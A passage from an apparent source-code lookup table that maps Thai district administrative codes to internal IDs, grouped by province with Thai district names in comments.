{ 2305, 182 }, // แหลมงอบ
{ 2306, 183 }, // เกาะกูด
{ 2307, 184 }, // เกาะช้าง
#endregion Trat
#region Tak
//AMP[16][0]=new Array('-- อำเภอ --','อำเภอเมืองตาก' ,'อำเภอบ้านตาก' ,'อำเภอสามเงา' ,'อำเภอแม่ระมาด' ,'อำเภอท่าสองยาง' ,'อำเภอแม่สอด' ,'อำเภอพบพระ' ,'อำเภออุ้มผาง' ,'กิ่งอำเภอวังเจ้า' );
//AMP[16][1]= new Array('-1','185' ,'186' ,'187' ,'188' ,'189' ,'190' ,'191' ,'192' ,'839' );
{ 6301, 185 }, // เมืองตาก
{ 6302, 186 }, // บ้านตาก
{ 6303, 187 }, // สามเงา
{ 6304, 188 }, // แม่ระมาด
{ 6305, 189 }, // ท่าสองยาง
{ 6306, 190 }, // แม่สอด
{ 6307, 191 }, // พบพระ
{ 6308, 192 }, // อุ้มผาง
{ 6309, 839 }, // วังเจ้า
#endregion Tak
#region Nakhon Nayok
//AMP[17][0]=new Array('-- อำเภอ --','อำเภอเมืองนครนายก' ,'อำเภอปากพลี' ,'อำเภอบ้านนา' ,'อำเภอองครักษ์' );
//AMP[17][1]= new Array('-1','193' ,'194' ,'195' ,'196' );
{ 2601, 193 }, // เมืองนครนายก
{ 2602, 194 }, // ปากพลี
{ 2603, 195 }, // บ้านนา
{ 2604, 196 }, // องครักษ์
#endregion Nakhon Nayok
#region Nakhon Pathom
//AMP[18][0]=new Array('-- อำเภอ --','อำเภอเมืองนครปฐม' ,'อำเภอบางเลน' ,'อำเภอสามพราน' ,'อำเภอพุทธมณฑล' ,'อำเภอกำแพงแสน' ,'อำเภอนครชัยศรี' ,'อำเภอดอนตูม' );
//AMP[18][1]= new Array('-1','197' ,'198' ,'199' ,'200' ,'201' ,'202' ,'203' );
{ 7301, 197 }, // เมืองนครปฐม
{ 7302, 201 }, // กำแพงแสน
{ 7303, 202 }, // นครชัยศรี
{ 7304, 203 }, // ดอนตูม
{ 7305, 198 }, // บางเลน
{ 7306, 199 }, // สามพราน
{ 7307, 200 }, // พุทธมณฑล
#endregion Nakhon Pathom
#region Nakhon Phanom
//AMP[19][0]=new Array('-- อำเภอ --','อำเภอเมืองนครพนม' ,'อำเภอปลาปาก' ,'อำเภอท่าอุเทน' ,'อำเภอบ้านแพง' ,'อำเภอธาตุพนม' ,'อำเภอเรณูนคร' ,'อำเภอนาแก' ,'อำเภอศรีสงคราม' ,'อำเภอนาหว้า' ,'อำเภอโพนสวรรค์' ,'อำเภอนาทม' ,'กิ่งอำเภอวังยาง' );
//AMP[19][1]= new Array('-1','204' ,'205' ,'206' ,'207' ,'208' ,'209' ,'210' ,'211' ,'212' ,'213' ,'214' ,'861' );
{ 4801, 204 }, // เมืองนครพนม
{ 4802, 205 }, // ปลาปาก
{ 4803, 206 }, // ท่าอุเทน
{ 4804, 207 }, // บ้านแพง
{ 4805, 208 }, // ธาตุพนม
{ 4806, 209 }, // เรณูนคร
{ 4807, 210 }, // นาแก
{ 4808, 211 }, // ศรีสงคราม
{ 4809, 212 }, // นาหว้า
{ 4810, 213 }, // โพนสวรรค์
{ 4811, 214 }, // นาทม
{ 4812, 861 }, // วังยาง
#endregion Nakhon Phanom
#region Nakhon Ratchasima
//AMP[20][0]=new Array('-- อำเภอ --','อำเภอเมืองนครราชสีมา' ,'อำเภอครบุรี' ,'อำเภอเสิงสาง' ,'อำเภอคง' ,'อำเภอบ้านเหลื่อม' ,'อำเภอจักราช' ,'อำเภอโชคชัย' ,'อำเภอด่านขุนทด' ,'อำเภอโนนไทย' ,'อำเภอโนนสูง' ,'อำเภอขามสะแกแสง' ,'อำเภอบัวใหญ่' ,'อำเภอประทาย' ,'อำเภอปักธงชัย' ,'อำเภอพิมาย' ,'อำเภอห้วยแถลง' ,'อำเภอชุมพวง' ,'อำเภอสูงเนิน' ,'อำเภอขามทะเลสอ' ,'อำเภอสีคิ้ว' ,'อำเภอปากช่อง' ,'อำเภอหนองบุญนาก' ,'อำเภอแก้งสนามนาง' ,'อำเภอโนนแดง' ,'อำเภอวังน้ำเขียว' ,'อำเภอเฉลิมพระเกียรติ' ,'กิ่งอำเภอเมืองยาง' ,'กิ่งอำเภอบัวลาย' ,'กิ่งอำเภอสีดา' ,'กิ่งอำเภอเทพารักษ์' ,'กิ่งอำเภอพระทองคำ' ,'กิ่งอำเภอลำทะเมนชัย' );
//AMP[20][1]= new Array('-1','215' ,'216' ,'217' ,'218' ,'219' ,'220' ,'221' ,'222' ,'223' ,'224' ,'225' ,'226' ,'227' ,'228' ,'229' ,'230' ,'231' ,'232' ,'233' ,'234' ,'235' ,'236' ,'237' ,'238' ,'239' ,'240' ,'862' ,'863' ,'864' ,'865' ,'866' ,'867' );
{ 3001, 215 }, // เมืองนครราชสีมา
{ 3002, 216 }, // ครบุรี
{ 3003, 217 }, // เสิงสาง
{ 3004, 218 }, // คง
{ 3005, 219 }, // บ้านเหลื่อม
{ 3006, 220 }, // จักราช
{ 3007, 221 }, // โชคชัย
{ 3008, 222 }, // ด่านขุนทด
{ 3009, 223 }, // โนนไทย
{ 3010, 224 }, // โนนสูง
{ 3011, 225 }, // ขามสะแกแสง
{ 3012, 226 }, // บัวใหญ่
{ 3013, 227 }, // ประทาย
{ 3014, 228 }, // ปักธงชัย
{ 3015, 229 }, // พิมาย
{ 3016, 230 }, // ห้วยแถลง
{ 3017, 231 }, // ชุมพวง
{ 3018, 232 }, // สูงเนิน
{ 3019, 233 }, // ขามทะเลสอ
{ 3020, 234 }, // สีคิ้ว
{ 3021, 235 }, // ปากช่อง
{ 3022, 236 }, // หนองบุญมาก
{ 3023, 237 }, // แก้งสนามนาง
{ 3024, 238 }, // โนนแดง
{ 3025, 239 }, // วังน้ำเขียว
{ 3026, 865 }, // เทพารักษ์
{ 3027, 862 }, // เมืองยาง
{ 3028, 866 }, // พระทองคำ
{ 3029, 867 }, // ลำทะเมนชัย
{ 3030, 863 }, // บัวลาย
{ 3031, 864 }, // สีดา
{ 3032, 240 }, // เฉลิมพระเกียรติ
#endregion Nakhon Ratchasima
#region Nakhon Si Thammarat
//AMP[21][0]=new Array('-- อำเภอ --','อำเภอเมืองนครศรีธรรมราช' ,'อำเภอพรหมคีรี' ,'อำเภอลานสกา' ,'อำเภอฉวาง' ,'อำเภอพิปูน' ,'อำเภอเชียรใหญ่' ,'อำเภอชะอวด' ,'อำเภอท่าศาลา' ,'อำเภอทุ่งสง' ,'อำเภอนาบอน' ,'อำเภอทุ่งใหญ่' ,'อำเภอปากพนัง' ,'อำเภอร่อนพิบูลย์' ,'อำเภอสิชล' ,'อำเภอหัวไทร' ,'อำเภอขนอม' ,'อำเภอบางขัน' ,'อำเภอจุฬาภรณ์' ,'อำเภอถ้ำพรรณรา' ,'อำเภอเฉลิมพระเกียรติ' ,'อำเภอพระพรหม' ,'กิ่งอำเภอนบพิตำ' ,'กิ่งอำเภอช้างกลาง' );
//AMP[21][1]= new Array('-1','241' ,'242' ,'243' ,'244' ,'245' ,'246' ,'247' ,'248' ,'249' ,'250' ,'251' ,'252' ,'253' ,'254' ,'255' ,'256' ,'257' ,'258' ,'259' ,'260' ,'261' ,'262' ,'263' );
{ 8001, 241 }, // เมืองนครศรีธรรมราช
{ 8002, 242 }, // พรหมคีรี
{ 8003, 243 }, // ลานสกา
{ 8004, 244 }, // ฉวาง
{ 8005, 245 }, // พิปูน
{ 8006, 246 }, // เชียรใหญ่
{ 8007, 247 }, // ชะอวด
{ 8008, 248 }, // ท่าศาลา
{ 8009, 249 }, // ทุ่งสง
{ 8010, 250 }, // นาบอน
{ 8011, 251 }, // ทุ่งใหญ่
{ 8012, 252 }, // ปากพนัง
{ 8013, 253 }, // ร่อนพิบูลย์
{ 8014, 254 }, // สิชล
{ 8015, 256 }, // ขนอม
{ 8016, 255 }, // หัวไทร
{ 8017, 257 }, // บางขัน
{ 8018, 259 }, // ถ้ำพรรณรา
{ 8019, 258 }, // จุฬาภรณ์
{ 8020, 261 }, // พระพรหม
{ 8021, 262 }, // นบพิตำ
{ 8022, 263 }, // ช้างกลาง
{ 8023, 260 }, // เฉลิมพระเกียรติ
#endregion Nakhon Si Thammarat
#region Nakhon Sawan
//AMP[22][0]=new Array('-- อำเภอ --','อำเภอเมืองนครสวรรค์' ,'อำเภอโกรกพระ' ,'อำเภอชุมแสง' ,'อำเภอหนองบัว' ,'อำเภอบรรพรตพิสัย' ,'อำเภอตาคลี' ,'อำเภอท่าตะโก' ,'อำเภอพยุหะคีรี' ,'อำเภอลาดยาว' ,'อำเภอไพศาลี' ,'อำเภอตากฟ้า' ,'อำเภอเก้าเลี้ยว' ,'อำเภอแม่วงก์' ,'กิ่งอำเภอชุมตาบง' ,'กิ่งอำเภอแม่เปิน' );
//AMP[22][1]= new Array('-1','264' ,'265' ,'266' ,'267' ,'268' ,'269' ,'270' ,'271' ,'272' ,'273' ,'274' ,'275' ,'276' ,'840' ,'841' );
{ 6001, 264 }, // เมืองนครสวรรค์
{ 6002, 265 }, // โกรกพระ
{ 6003, 266 }, // ชุมแสง
{ 6004, 267 }, // หนองบัว
{ 6005, 268 }, // บรรพตพิสัย
{ 6006, 275 }, // เก้าเลี้ยว
{ 6007, 269 }, // ตาคลี
{ 6008, 270 }, // ท่าตะโก
{ 6009, 273 }, // ไพศาลี
{ 6010, 271 }, // พยุหะคีรี
{ 6011, 272 }, // ลาดยาว
{ 6012, 274 }, // ตากฟ้า
{ 6013, 276 }, // แม่วงก์
{ 6014, 841 }, // แม่เปิน
{ 6015, 840 }, // ชุมตาบง
#endregion Nakhon Sawan
#region Nonthaburi
//AMP[23][0]=new Array('-- อำเภอ --','อำเภอเมืองนนทบุรี' ,'อำเภอบางกรวย' ,'อำเภอบางใหญ่' ,'อำเภอบางบัวทอง' ,'อำเภอไทรน้อย' ,'อำเภอปากเกร็ด' );
//AMP[23][1]= new Array('-1','277' ,'278' ,'279' ,'280' ,'281' ,'282' );
{ 1201, 277 }, // เมืองนนทบุรี
{ 1202, 278 }, // บางกรวย
{ 1203, 279 }, // บางใหญ่
{ 1204, 280 }, // บางบัวทอง
{ 1205, 281 }, // ไทรน้อย
{ 1206, 282 }, // ปากเกร็ด
#endregion Nonthaburi
#region Narathiwat
//AMP[24][0]=new Array('-- อำเภอ --','อำเภอเมืองนราธิวาส' ,'อำเภอตากใบ' ,'อำเภอบาเจาะ' ,'อำเภอยี่งอ' ,'อำเภอระแงะ' ,'อำเภอรือเสาะ' ,'อำเภอศรีสาคร' ,'อำเภอแว้ง' ,'อำเภอสุคิริน' ,'อำเภอสุไหงโก-ลก' ,'อำเภอสุไหงปาดี' ,'อำเภอจะแนะ' ,'อำเภอเจาะไอร้อง' );
//AMP[24][1]= new Array('-1','283' ,'284' ,'285' ,'286' ,'287' ,'288' ,'289' ,'290' ,'291' ,'292' ,'293' ,'294' ,'295' );
{ 9601, 283 }, // เมืองนราธิวาส
{ 9602, 284 }, // ตากใบ
{ 9603, 285 }, // บาเจาะ
{ 9604, 286 }, // ยี่งอ
{ 9605, 287 }, // ระแงะ
{ 9606, 288 }, // รือเสาะ
{ 9607, 289 }, // ศรีสาคร
{ 9608, 290 }, // แว้ง
{ 9609, 291 }, // สุคิริน
{ 9610, 292 }, // สุไหงโก-ลก
{ 9611, 293 }, // สุไหงปาดี
{ 9612, 294 }, // จะแนะ
{ 9613, 295 }, // เจาะไอร้อง
#endregion Narathiwat
#region Nan
//AMP[25][0]=new Array('-- อำเภอ --','อำเภอเมืองน่าน' ,'อำเภอแม่จริม' ,'อำเภอบ้านหลวง' ,'อำเภอนาน้อย' ,'อำเภอปัว' ,'อำเภอท่าวังผา' ,'อำเภอทุ่งช้าง' ,'อำเภอเชียงกลาง' ,'อำเภอนาหมื่น' ,'อำเภอสันติสุข' ,'อำเภอบ่อเกลือ' ,'อำเภอสองแคว' ,'อำเภอเฉลิมพระเกียรติ' ,'อำเภอเวียงสา' ,'กิ่งอำเภอภูเพียง' );
//AMP[25][1]= new Array('-1','296' ,'297' ,'298' ,'299' ,'300' ,'301' ,'302' ,'303' ,'304' ,'305' ,'306' ,'307' ,'308' ,'842' ,'849' );
{ 5501, 296 }, // เมืองน่าน
{ 5502, 297 }, // แม่จริม
{ 5503, 298 }, // บ้านหลวง
{ 5504, 299 }, // นาน้อย
{ 5505, 300 }, // ปัว
{ 5506, 301 }, // ท่าวังผา
{ 5507, 842 }, // เวียงสา
{ 5508, 302 }, // ทุ่งช้าง
{ 5509, 303 }, // เชียงกลาง
{ 5510, 304 }, // นาหมื่น
{ 5511, 305 }, // สันติสุข
{ 5512, 306 }, // บ่อเกลือ
{ 5513, 307 }, // สองแคว
{ 5514, 849 }, // ภูเพียง
{ 5515, 308 }, // เฉลิมพระเกียรติ
#endregion Nan
#region Buriram
//AMP[26][0]=new Array('-- อำเภอ --','อำเภอเมืองบุรีรัมย์' ,'อำเภอชำนิ' ,'อำเภอบ้านใหม่ไชยพจน์' ,'อำเภอโนนดินแดง' ,'อำเภอเฉลิมพระเกียรติ' ,'อำเภอโนนสุวรรณ' ,'อำเภอคูเมือง' ,'อำเภอกระสัง' ,'อำเภอนางรอง' ,'อำเภอหนองกี่' ,'อำเภอละหานทราย' ,'อำเภอประโคนชัย' ,'อำเภอบ้านกรวด' ,'อำเภอพุทไธสง' ,'อำเภอลำปลายมาศ' ,'อำเภอสตึก' ,'อำเภอปะคำ' ,'อำเภอนาโพธิ์' ,'อำเภอหนองหงส์' ,'อำเภอพลับพลาชัย' ,'อำเภอห้วยราช' ,'กิ่งอำเภอบ้านด่าน' ,'กิ่งอำเภอแดนดง' );
//AMP[26][1]= new Array('-1','309' ,'310' ,'311' ,'312' ,'313' ,'314' ,'315' ,'316' ,'317' ,'318' ,'319' ,'320' ,'321' ,'322' ,'323' ,'324' ,'325' ,'326' ,'327' ,'328' ,'329' ,'868' ,'869' );
{ 3101, 309 }, // เมืองบุรีรัมย์
{ 3102, 315 }, // คูเมือง
{ 3103, 316 }, // กระสัง
{ 3104, 317 }, // นางรอง
{ 3105, 318 }, // หนองกี่
{ 3106, 319 }, // ละหานทราย
{ 3107, 320 }, // ประโคนชัย
{ 3108, 321 }, // บ้านกรวด
{ 3109, 322 }, // พุทไธสง
{ 3110, 323 }, // ลำปลายมาศ
{ 3111, 324 }, // สตึก
{ 3112, 325 }, // ปะคำ
{ 3113, 326 }, // นาโพธิ์
{ 3114, 327 }, // หนองหงส์
{ 3115, 328 }, // พลับพลาชัย
{ 3116, 329 }, // ห้วยราช
{ 3117, 314 }, // โนนสุวรรณ
{ 3118, 310 }, // ชำนิ
{ 3119, 311 }, // บ้านใหม่ไชยพจน์
{ 3120, 312 }, // โนนดินแดง
{ 3121, 868 }, // บ้านด่าน
{ 3122, 869 }, // แคนดง
#endregion Buriram
#region Pathum Thani
//AMP[27][0]=new Array('-- อำเภอ --','อำเภอเมืองปทุมธานี' ,'อำเภอคลองหลวง' ,'อำเภอธัญบุรี' ,'อำเภอหนองเสือ' ,'อำเภอลาดหลุมแก้ว' ,'อำเภอลำลูกกา' ,'อำเภอสามโคก' );
//AMP[27][1]= new Array('-1','330' ,'331' ,'332' ,'333' ,'334' ,'335' ,'336' );
{ 1301, 330 }, // เมืองปทุมธานี
{ 1302, 331 }, // คลองหลวง
{ 1303, 332 }, // ธัญบุรี
{ 1304, 333 }, // หนองเสือ
{ 1305, 334 }, // ลาดหลุมแก้ว
{ 1306, 335 }, // ลำลูกกา
{ 1307, 336 }, // สามโคก
#endregion Pathum Thani
#region Prachuap Khiri Khan
//AMP[28][0]=new Array('-- อำเภอ --','อำเภอเมืองประจวบคีรีขันธ์' ,'อำเภอกุยบุรี' ,'อำเภอทับสะแก' ,'อำเภอบางสะพาน' ,'อำเภอบางสะพานน้อย' ,'อำเภอปราณบุรี' ,'อำเภอหัวหิน' ,'อำเภอสามร้อยยอด' );
//AMP[28][1]= new Array('-1','337' ,'338' ,'339' ,'340' ,'341' ,'342' ,'343' ,'344' );
{ 7701, 337 }, // เมืองประจวบคีรีขันธ์
{ 7702, 338 }, // กุยบุรี
{ 7703, 339 }, // ทับสะแก
{ 7704, 340 }, // บางสะพาน
{ 7705, 341 }, // บางสะพานน้อย
{ 7706, 342 }, // ปราณบุรี
{ 7707, 343 }, // หัวหิน
{ 7708, 344 }, // สามร้อยยอด
#endregion Prachuap Khiri Khan
#region Prachinburi
//AMP[29][0]=new Array('-- อำเภอ --','อำเภอเมืองปราจีนบุรี' ,'อำเภอกบินทร์บุรี' ,'อำเภอนาดี' ,'อำเภอบ้านสร้าง' ,'อำเภอประจันตคาม' ,'อำเภอศรีมหาโพธิ' ,'อำเภอศรีมโหสถ' );
//AMP[29][1]= new Array('-1','345' ,'346' ,'347' ,'348' ,'349' ,'350' ,'351' );
{ 2501, 345 }, // เมืองปราจีนบุรี
{ 2502, 346 }, // กบินทร์บุรี
{ 2503, 347 }, // นาดี
{ 2506, 348 }, // บ้านสร้าง
{ 2507, 349 }, // ประจันตคาม
{ 2508, 350 }, // ศรีมหาโพธิ
{ 2509, 351 }, // ศรีมโหสถ
#endregion Prachinburi
#region Pattani
//AMP[30][0]=new Array('-- อำเภอ --','อำเภอเมืองปัตตานี' ,'อำเภอโคกโพธิ์' ,'อำเภอหนองจิก' ,'อำเภอปานาเระ' ,'อำเภอมายอ' ,'อำเภอทุ่งยางแดง' ,'อำเภอสายบุรี' ,'อำเภอไม้แก่น' ,'อำเภอยะหริ่ง' ,'อำเภอยะรัง' ,'อำเภอกะพ้อ' ,'อำเภอแม่ลาน' );
//AMP[30][1]= new Array('-1','352' ,'353' ,'354' ,'355' ,'356' ,'357' ,'358' ,'359' ,'360' ,'361' ,'362' ,'363' );
{ 9401, 352 }, // เมืองปัตตานี
{ 9402, 353 }, // โคกโพธิ์
{ 9403, 354 }, // หนองจิก
{ 9404, 355 }, // ปะนาเระ
{ 9405, 356 }, // มายอ
{ 9406, 357 }, // ทุ่งยางแดง
{ 9407, 358 }, // สายบุรี
{ 9408, 359 }, // ไม้แก่น
{ 9409, 360 }, // ยะหริ่ง
{ 9410, 361 }, // ยะรัง
{ 9411, 362 }, // กะพ้อ
{ 9412, 363 }, // แม่ลาน
#endregion Pattani
#region Ayutthaya
//AMP[31][0]=new Array('-- อำเภอ --','อำเภอพระนครศรีอยุธยา' ,'อำเภอท่าเรือ' ,'อำเภอนครหลวง' ,'อำเภอบางไทร' ,'อำเภอบางบาล' ,'อำเภอบางปะอิน' ,'อำเภอบางปะหัน' ,'อำเภอผักไห่' ,'อำเภอภาชี' ,'อำเภอลาดบัวหลวง' ,'อำเภอวังน้อย' ,'อำเภอเสนา' ,'อำเภอบางซ้าย' ,'อำเภออุทัย' ,'อำเภอมหาราช' ,'อำเภอบ้านแพรก' );
//AMP[31][1]= new Array('-1','364' ,'365' ,'366' ,'367' ,'368' ,'369' ,'370' ,'371' ,'372' ,'373' ,'374' ,'375' ,'376' ,'377' ,'378' ,'379' );
{ 1401, 364 }, // พระนครศรีอยุธยา
{ 1402, 365 }, // ท่าเรือ
{ 1403, 366 }, // นครหลวง
{ 1404, 367 }, // บางไทร
{ 1405, 368 }, // บางบาล
{ 1406, 369 }, // บางปะอิน
{ 1407, 370 }, // บางปะหัน
{ 1408, 371 }, // ผักไห่
{ 1409, 372 }, // ภาชี
{ 1410, 373 }, // ลาดบัวหลวง
{ 1411, 374 }, // วังน้อย
{ 1412, 375 }, // เสนา
{ 1413, 376 }, // บางซ้าย
{ 1414, 377 }, // อุทัย
{ 1415, 378 }, // มหาราช
{ 1416, 379 }, // บ้านแพรก
#endregion Ayutthaya
#region Phayao
//AMP[32][0]=new Array('-- อำเภอ --','อำเภอเมืองพะเยา' ,'อำเภอจุน' ,'อำเภอเชียงคำ' ,'อำเภอเชียงม่วน' ,'อำเภอดอกคำใต้' ,'อำเภอปง' ,'อำเภอแม่ใจ' ,'กิ่งอำเภอภูกามยาว' ,'กิ่งอำเภอภูซาง' );
//AMP[32][1]= new Array('-1','380' ,'381' ,'382' ,'383' ,'384' ,'385' ,'386' ,'843' ,'844' );
{ 5601, 380 }, // เมืองพะเยา
{ 5602, 381 }, // จุน
{ 5603, 382 }, // เชียงคำ
{ 5604, 383 }, // เชียงม่วน
{ 5605, 384 }, // ดอกคำใต้
{ 5606, 385 }, // ปง
{ 5607, 386 }, // แม่ใจ
{ 5608, 844 }, // ภูซาง
{ 5609, 843 }, // ภูกามยาว
#endregion Phayao
#region Phang Nga
//AMP[33][0]=new Array('-- อำเภอ --','อำเภอเมืองพังงา' ,'อำเภอกะปง' ,'อำเภอตะกั่วทุ่ง' ,'อำเภอตะกั่วป่า' ,'อำเภอคุระบุรี' ,'อำเภอทับปุด' ,'อำเภอท้ายเหมือง' ,'อำเภอเกาะยาว' );
//AMP[33][1]= new Array('-1','387' ,'388' ,'389' ,'390' ,'391' ,'392' ,'393' ,'394' );
{ 8201, 387 }, // เมืองพังงา
{ 8202, 394 }, // เกาะยาว
{ 8203, 388 }, // กะปง
{ 8204, 389 }, // ตะกั่วทุ่ง
{ 8205, 390 }, // ตะกั่วป่า
{ 8206, 391 }, // คุระบุรี
{ 8207, 392 }, // ทับปุด
{ 8208, 393 }, // ท้ายเหมือง
#endregion Phang Nga
#region Phatthalung
//AMP[34][0]=new Array('-- อำเภอ --','อำเภอเมืองพัทลุง' ,'อำเภอกงหรา' ,'อำเภอเขาชัยสน' ,'อำเภอตะโหมด' ,'อำเภอควนขนุน' ,'อำเภอปากพะยูน' ,'อำเภอศรีบรรพต' ,'อำเภอป่าบอน' ,'อำเภอบางแก้ว' ,'อำเภอป่าพะยอม' ,'กิ่งอำเภอศรีนครินทร์ (เมือง)' );
//AMP[34][1]= new Array('-1','395' ,'396' ,'397' ,'398' ,'399' ,'400' ,'401' ,'402' ,'403' ,'404' ,'405' );
{ 9301, 395 }, // เมืองพัทลุง
{ 9302, 396 }, // กงหรา
{ 9303, 397 }, // เขาชัยสน
{ 9304, 398 }, // ตะโหมด
{ 9305, 399 }, // ควนขนุน
{ 9306, 400 }, // ปากพะยูน
{ 9307, 401 }, // ศรีบรรพต
{ 9308, 402 }, // ป่าบอน
{ 9309, 403 }, // บางแก้ว
{ 9310, 404 }, // ป่าพะยอม
{ 9311, 405 }, // ศรีนครินทร์
#endregion Phatthalung
#region Phichit
//AMP[35][0]=new Array('-- อำเภอ --','อำเภอเมืองพิจิตร' ,'อำเภอโพธิ์ประทับช้าง' ,'อำเภอตะพานหิน' ,'อำเภอบางมูลนาก' ,'อำเภอวังทรายพูน' ,'อำเภอโพทะเล' ,'อำเภอสามง่าม' ,'อำเภอทับคล้อ' ,'อำเภอวชิรบารมี' ,'กิ่งอำเภอดงเจริญ' ,'กิ่งอำเภอบึงนาราง' ,'กิ่งอำเภอสากเหล็ก' );
//AMP[35][1]= new Array('-1','406' ,'407' ,'408' ,'409' ,'410' ,'411' ,'412' ,'413' ,'845' ,'846' ,'847' ,'850' );
{ 6601, 406 }, // เมืองพิจิตร
{ 6602, 410 }, // วังทรายพูน
{ 6603, 407 }, // โพธิ์ประทับช้าง
{ 6604, 408 }, // ตะพานหิน
{ 6605, 409 }, // บางมูลนาก
{ 6606, 411 }, // โพทะเล
{ 6607, 412 }, // สามง่าม
{ 6608, 413 }, // ทับคล้อ
{ 6609, 850 }, // สากเหล็ก
{ 6610, 847 }, // บึงนาราง
{ 6611, 846 }, // ดงเจริญ
{ 6612, 845 }, // วชิรบารมี
#endregion Phichit
#region Phitsanulok
//AMP[36][0]=new Array('-- อำเภอ --','อำเภอเมืองพิษณุโลก' ,'อำเภอนครไทย' ,'อำเภอชาติตระการ' ,'อำเภอบางระกำ' ,'อำเภอบางกระทุ่ม' ,'อำเภอพรหมพิราม' ,'อำเภอวัดโบสถ์' ,'อำเภอวังทอง' ,'อำเภอเนินมะปราง' );
//AMP[36][1]= new Array('-1','414' ,'415' ,'416' ,'417' ,'418' ,'419' ,'420' ,'421' ,'422' );
{ 6501, 414 }, // เมืองพิษณุโลก
{ 6502, 415 }, // นครไทย
{ 6503, 416 }, // ชาติตระการ
{ 6504, 417 }, // บางระกำ
{ 6505, 418 }, // บางกระทุ่ม
{ 6506, 419 }, // พรหมพิราม
{ 6507, 420 }, // วัดโบสถ์
{ 6508, 421 }, // วังทอง
{ 6509, 422 }, // เนินมะปราง
#endregion Phitsanulok
#region Phetchaburi
//AMP[37][0]=new Array('-- อำเภอ --','อำเภอเมืองเพชรบุรี' ,'อำเภอเขาย้อย' ,'อำเภอหนองหญ้าปล้อง' ,'อำเภอชะอำ' ,'อำเภอท่ายาง' ,'อำเภอบ้านลาด' ,'อำเภอบ้านแหลม' ,'อำเภอแก่งกระจาน' );
//AMP[37][1]= new Array('-1','423' ,'424' ,'425' ,'426' ,'427' ,'428' ,'429' ,'430' );
{ 7601, 423 }, // เมืองเพชรบุรี
{ 7602, 424 }, // เขาย้อย
{ 7603, 425 }, // หนองหญ้าปล้อง
{ 7604, 426 }, // ชะอำ
{ 7605, 427 }, // ท่ายาง
{ 7606, 428 }, // บ้านลาด
{ 7607, 429 }, // บ้านแหลม
{ 7608, 430 }, // แก่งกระจาน
#endregion Phetchaburi
#region Phetchabun
//AMP[38][0]=new Array('-- อำเภอ --','อำเภอเมืองเพชรบูรณ์' ,'อำเภอชนแดน' ,'อำเภอหล่มสัก' ,'อำเภอหล่มเก่า' ,'อำเภอวิเชียรบุรี' ,'อำเภอศรีเทพ' ,'อำเภอหนองไผ่' ,'อำเภอบึงสามพัน' ,'อำเภอน้ำหนาว' ,'อำเภอวังโป่ง' ,'อำเภอเขาค้อ' );
//AMP[38][1]= new Array('-1','431' ,'432' ,'433' ,'434' ,'435' ,'436' ,'437' ,'438' ,'439' ,'440' ,'441' );
{ 6701, 431 }, // เมืองเพชรบูรณ์
{ 6702, 432 }, // ชนแดน
{ 6703, 433 }, // หล่มสัก
{ 6704, 434 }, // หล่มเก่า
{ 6705, 435 }, // วิเชียรบุรี
{ 6706, 436 }, // ศรีเทพ
{ 6707, 437 }, // หนองไผ่
{ 6708, 438 }, // บึงสามพัน
{ 6709, 439 }, // น้ำหนาว
{ 6710, 440 }, // วังโป่ง
{ 6711, 441 }, // เขาค้อ
#endregion Phetchabun
#region Phrae
//AMP[39][0]=new Array('-- อำเภอ --','อำเภอเมืองแพร่' ,'อำเภอร้องกวาง' ,'อำเภอลอง' ,'อำเภอหนองม่วงไข่' ,'อำเภอสูงเม่น' ,'อำเภอเด่นชัย' ,'อำเภอสอง' ,'อำเภอวังชิ้น' );
//AMP[39][1]= new Array('-1','442' ,'443' ,'444' ,'445' ,'446' ,'447' ,'448' ,'449' );
{ 5401, 442 }, // เมืองแพร่
{ 5402, 443 }, // ร้องกวาง
{ 5403, 444 }, // ลอง
{ 5404, 446 }, // สูงเม่น
{ 5405, 447 }, // เด่นชัย
{ 5406, 448 }, // สอง
{ 5407, 449 }, // วังชิ้น
{ 5408, 445 }, // หนองม่วงไข่
#endregion Phrae
#region Phuket
//AMP[40][0]=new Array('-- อำเภอ --','อำเภอเมืองภูเก็ต' ,'อำเภอกะทู้' ,'อำเภอถลาง' );
//AMP[40][1]= new Array('-1','450' ,'451' ,'452' );
{ 8301, 450 }, // เมืองภูเก็ต
{ 8302, 451 }, // กะทู้
{ 8303, 452 }, // ถลาง
#endregion Phuket
#region Maha Sarakham
//AMP[41][0]=new Array('-- อำเภอ --','อำเภอเมืองมหาสารคาม' ,'อำเภอแกดำ' ,'อำเภอโกสุมพิสัย' ,'อำเภอกันทรวิชัย' ,'อำเภอเชียงยืน' ,'อำเภอบรบือ' ,'อำเภอนาเชือก' ,'อำเภอพยัคฆภูมิพิสัย' ,'อำเภอวาปีปทุม' ,'อำเภอนาดูน' ,'อำเภอยางสีสุราช' ,'กิ่งอำเภอกุดรัง' ,'กิ่งอำเภอชื่นชม' );
//AMP[41][1]= new Array('-1','453' ,'454' ,'455' ,'456' ,'457' ,'458' ,'459' ,'460' ,'461' ,'462' ,'463' ,'870' ,'871' );
{ 4401, 453 }, // เมืองมหาสารคาม
{ 4402, 454 }, // แกดำ
{ 4403, 455 }, // โกสุมพิสัย
{ 4404, 456 }, // กันทรวิชัย
{ 4405, 457 }, // เชียงยืน
{ 4406, 458 }, // บรบือ
{ 4407, 459 }, // นาเชือก
{ 4408, 460 }, // พยัคฆภูมิพิสัย
{ 4409, 461 }, // วาปีปทุม
{ 4410, 462 }, // นาดูน
{ 4411, 463 }, // ยางสีสุราช
{ 4412, 870 }, // กุดรัง
{ 4413, 871 }, // ชื่นชม
#endregion Maha Sarakham
#region Mukdahan
//AMP[42][0]=new Array('-- อำเภอ --','อำเภอเมืองมุกดาหาร' ,'อำเภอนิคมคำสร้อย' ,'อำเภอดอนตาล' ,'อำเภอดงหลวง' ,'อำเภอคำชะอี' ,'อำเภอหว้านใหญ่' ,'อำเภอหนองสูง' );
//AMP[42][1]= new Array('-1','464' ,'465' ,'466' ,'467' ,'468' ,'469' ,'470' );
{ 4901, 464 }, // เมืองมุกดาหาร
{ 4902, 465 }, // นิคมคำสร้อย
{ 4903, 466 }, // ดอนตาล
{ 4904, 467 }, // ดงหลวง
{ 4905, 468 }, // คำชะอี
{ 4906, 469 }, // หว้านใหญ่
{ 4907, 470 }, // หนองสูง
#endregion Mukdahan
#region Mae Hong Son
//AMP[43][0]=new Array('-- อำเภอ --','อำเภอเมืองแม่ฮ่องสอน' ,'อำเภอขุนยวม' ,'อำเภอปาย' ,'อำเภอแม่สะเรียง' ,'อำเภอแม่ลาน้อย' ,'อำเภอสบเมย' ,'อำเภอปางมะผ้า' );
//AMP[43][1]= new Array('-1','471' ,'472' ,'473' ,'474' ,'475' ,'476' ,'477' );
